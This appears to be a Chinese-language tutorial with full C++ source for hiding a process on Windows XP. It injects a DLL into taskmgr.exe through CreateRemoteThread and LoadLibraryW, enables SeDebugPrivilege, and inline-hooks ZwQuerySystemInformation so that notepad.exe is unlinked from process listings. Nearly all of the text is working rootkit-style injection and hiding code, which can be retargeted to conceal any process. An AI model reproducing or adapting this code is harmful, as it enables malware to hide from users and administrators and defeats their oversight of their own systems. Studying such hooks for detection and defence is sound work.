分析&注意事项
1.隐藏指定进程,即程序调用CreateToolhelp32Snapshot这个函数得到的进程链表中不能有我们需要隐藏的进程
2.除了CreateToolhelp32Snapshot可以遍历进程外还有EnumProcess也可以。逆向显示,这两个API都是调用一个更加底层的函数从内核层取得进程结构链表的,叫ZwQuerySystemInformation,属于ntdll.dll
3.所以只要Hook ZwQuerySystemInformation,在其返回前手动遍历链表把要隐藏的进程的结构从链表中下掉就可以了
4.在哪个进程空间进行的Hook操作只能影响到哪个进程,其他进程不受影响,所以想要在所有进程中隐藏就需要在所有进程中Hook
5.在A进程中执行Hook操作,可以使用远程线程注入技术将指定dll注入到A中执行,运行DllMain中的Hook操作即可
6.ZwQuerySystemInformation是个未公开的API,使用需要注意时效性以及不能直接调用需要动态获取函数地址然后调用
7.32位的dll只能注入到32程序,64位只能注入64位程序。windows 7+需要注意回话隔离机制,本次实验基于xp,后面会更新windows 7+
8.这篇只向已运行的taskmgr.exe注入dll隐藏notepad.exe,下篇更新全局隐藏
HideProc.cpp
#include "windows.h"
#include "Tlhelp32.h"
#include <iostream>
using namespace std;
LPCTSTR Dll_Path=L"d:hack.dll";
WCHAR Inject_name[1][100]={L"taskmgr.exe"};
int inject_num=1;
BOOL Whether_Inject(const WCHAR *processname){
for(int i=0;i<inject_num;i++){
WCHAR *s=Inject_name[i];
while(*processname==*s && *processname!='\0' && *s!='\0'){
processname++;
s++;
}
if (*processname == '\0' && *s == '\0') return true;
}
return false;
}
void InjectDll(DWORD pid=0){
if(pid==0) return;
HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if(!hProcess){
cout<<"OpenProcess failed,error code: "<<GetLastError()<<endl;
return;
}
LPVOID pRemoteBuf=NULL;
DWORD BufSize=(DWORD)(wcslen(Dll_Path)+1)*sizeof(TCHAR);//+1:\0
pRemoteBuf=VirtualAllocEx(hProcess,NULL,BufSize,MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)Dll_Path,BufSize,NULL);
LPTHREAD_START_ROUTINE pThreadProc;
HMODULE Kernel32_Handle=GetModuleHandle(L"kernel32.dll");
pThreadProc=(LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32_Handle,"LoadLibraryW");
CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);
CloseHandle(hProcess);
hProcess=NULL;
}
BOOL EnableDebugPrivilege(){
HANDLE hToken;
BOOL fOk=FALSE;
if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)){ //Get Token
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount=1;
if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid))//Get Luid
cout<<"Can't lookup privilege value"<<endl;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;//这一句很关键,修改其属性为SE_PRIVILEGE_ENABLED
if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL))//Adjust Token
cout<<"Can't adjust privilege value"<<endl;
fOk=(GetLastError()==ERROR_SUCCESS);
CloseHandle(hToken);
hToken=NULL;
}
return fOk;
}
int main(){
BOOL isPrivilege=false;
isPrivilege=EnableDebugPrivilege();//提权
if(!isPrivilege){
cout<<"EnableDebugPrivilege failed"<<endl;
return 0;
}
PROCESSENTRY32 pe;
pe.dwSize=sizeof(pe);
BOOL code=false;
HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
if(INVALID_HANDLE_VALUE!=hSnapShot){
BOOL bprocess=Process32First(hSnapShot,&pe);
while(bprocess){
code=Whether_Inject(pe.szExeFile);
if(code){
InjectDll(pe.th32ProcessID);
}
bprocess=Process32Next(hSnapShot,&pe);
}
}
CloseHandle(hSnapShot);
hSnapShot=NULL;
system("pause");
return 0;
}
Notes:
提权函数:EnableDebugPrivilege
否则权限不够错误码:5
百度的解释
1.要对一个任意进程(包括系统安全进程和服务进程)进行指定了写相关的访问权的OpenProcess操作,只要当前进程具有SeDeDebug权限就可以了。要是一个用户是Administrator或是被给予了相应的权限,就可以具有该权限。可是,就算我们用Administrator帐号对一个系统安全进程执行OpenProcess(PROCESS_ALL_ACCESS,FALSE,
dwProcessID)还是会遇到“访问拒绝”的错误。什么原因呢?原来在默认的情况下进程的一些访问权限是没有被使能(Enabled)的,所以我们要做的首先是使能这些权限。与此相关的一些API函数有OpenProcessToken、LookupPrivilegevalue、AdjustTokenPrivileges。我们要修改一个进程的访问令牌,首先要获得进程访问令牌的句柄,这可以通过OpenProcessToken得到
Hide.h
#include "windows.h"
typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)
(ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
}UNICODE_STRING,*PUNICODE_STRING;
//进程信息结构体
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset; //下一个结构的偏移
ULONG NumberOfThreads;
BYTE Reserved1[48];
UNICODE_STRING ProcessName; //进程名字
ULONG BasePriority;
HANDLE UniqueProcessId; //进程Pid
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
BOOL hook_ZwQuerySystemInformation();
BOOL unhook_ZwQuerySystemInformation();
NTSTATUS WINAPI NewZwQuerySystemInformation(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
Notes:
请注意_SYSTEM_PROCESS_INFORMATION的原型并非这个,而是
typedef struct _SYSTEM_PROCESSES {
ULONG NextEntryDelta; //链表下一个结构和上一个结构的偏移
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName; //进程名字
KPRIORITY BasePriority;
ULONG ProcessId; //进程的pid号
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1]; }SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;
但是这个结构体所在的文件是ntddk.h,默认是没有的。所以手动重写一个struct大小一样的类似结构体即可,关键的NextEntryDelta偏移和ProcessName偏移不能搞错就行
Hide.cpp
#include "1.h"
#define SystemProcessInformation 5
#define STATUS_SUCCESS (0x00000000L)
BYTE ZwQuerySystemInformation_origin_byte[5] = {0,};
LPCSTR dll_ntdll="ntdll.dll";
LPCSTR func_ZwQuerySystemInformation="ZwQuerySystemInformation";
PWSTR Hide_Process=L"notepad.exe";
PROC p_fn_NewZwQuerySystemInformation=(PROC)NewZwQuerySystemInformation;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
hook_ZwQuerySystemInformation();
break;
case DLL_PROCESS_DETACH:
unhook_ZwQuerySystemInformation();
break;
}
return TRUE;
}
BOOL hook_ZwQuerySystemInformation(){
FARPROC p_ori_func;
PBYTE pbyte;
DWORD oldprotect,address;
byte newbuf[5]={0xE9,0,};
p_ori_func=(FARPROC)GetProcAddress(GetModuleHandleA(dll_ntdll),func_ZwQuerySystemInformation); //获取原函数地址
pbyte=(PBYTE)p_ori_func;
if(pbyte[0]==0xE9){ //若已经Hook则退出
return false;
}
VirtualProtect((LPVOID)p_ori_func,5,PAGE_EXECUTE_READWRITE,&oldprotect); //修改5字节属性为可写
memcpy(ZwQuerySystemInformation_origin_byte,p_ori_func,5); //保存原函数前5字节指令
address=(DWORD)p_fn_NewZwQuerySystemInformation-(DWORD)p_ori_func-5; //计算跳转到NewZwQuerySystemInformation函数需要的jmp地址
memcpy(&newbuf[1],&address,4); //将计算出的地址写入newbuf
memcpy(p_ori_func,newbuf,5); //原函数处写入jmp xxx实现Hook
VirtualProtect((LPVOID)p_ori_func, 5, oldprotect, &oldprotect); //恢复刚刚调整过的属性
return true;
}
BOOL unhook_ZwQuerySystemInformation(){
FARPROC pfunc;
PBYTE pbyte;
DWORD oldprotect;
pfunc=(FARPROC)GetProcAddress(GetModuleHandleA(dll_ntdll),func_ZwQuerySystemInformation); //获取原函数地址
pbyte=(PBYTE)pfunc;
if(pbyte[0]!=0xE9){
return false;
}
VirtualProtect((LPVOID)pfunc,5,PAGE_EXECUTE_READWRITE,&oldprotect); //修改5字节属性为可写
memcpy(pfunc,ZwQuerySystemInformation_origin_byte,5); //原函数前5字节恢复
VirtualProtect((LPVOID)pfunc,5,oldprotect,&oldprotect); //恢复刚刚调整过的属性
return true;
}
NTSTATUS WINAPI NewZwQuerySystemInformation(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pfunc;
PSYSTEM_PROCESS_INFORMATION pcur,pprev;
unhook_ZwQuerySystemInformation(); //解除Hook ZwQuerySystemInformation 防止无限循环
pfunc=(FARPROC)GetProcAddress(GetModuleHandleA(dll_ntdll),func_ZwQuerySystemInformation); //动态获取原函数地址
status = ((PFZWQUERYSYSTEMINFORMATION)pfunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); //按照原始参数顺序调用原函数
if(status != STATUS_SUCCESS ){ //判断调用是否成功不可以的话就断Hook 返回错误status
hook_ZwQuerySystemInformation();
return status;
}
if( SystemInformationClass == SystemProcessInformation ){ //只有SystemInformationClass=5(查询进程列表)是才进行应用隐藏操作
pcur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; //当前指针指向返回的SystemInformation结构体
while(TRUE){
if(pcur->ProcessName.Buffer){ //此结构体ProcessName成员的Buffer成员存在则进入
if(!wcscmp(pcur->ProcessName.Buffer,Hide_Process)){ //比较此结构体进程名是否为需要隐藏的进程名,是则进行链表下链操作
if(pcur->NextEntryOffset == 0)
pprev->NextEntryOffset = 0;
else
pprev->NextEntryOffset += pcur->NextEntryOffset;
}
else
pprev = pcur; //非需要隐藏的进程则当前指针和前向指针分别后移一个
}
if(pcur->NextEntryOffset == 0) //没有下一个了就退出
break;
pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pcur + pcur->NextEntryOffset);
}
}
hook_ZwQuerySystemInformation(); //处理完成,再次Hook
return status; //返回status
}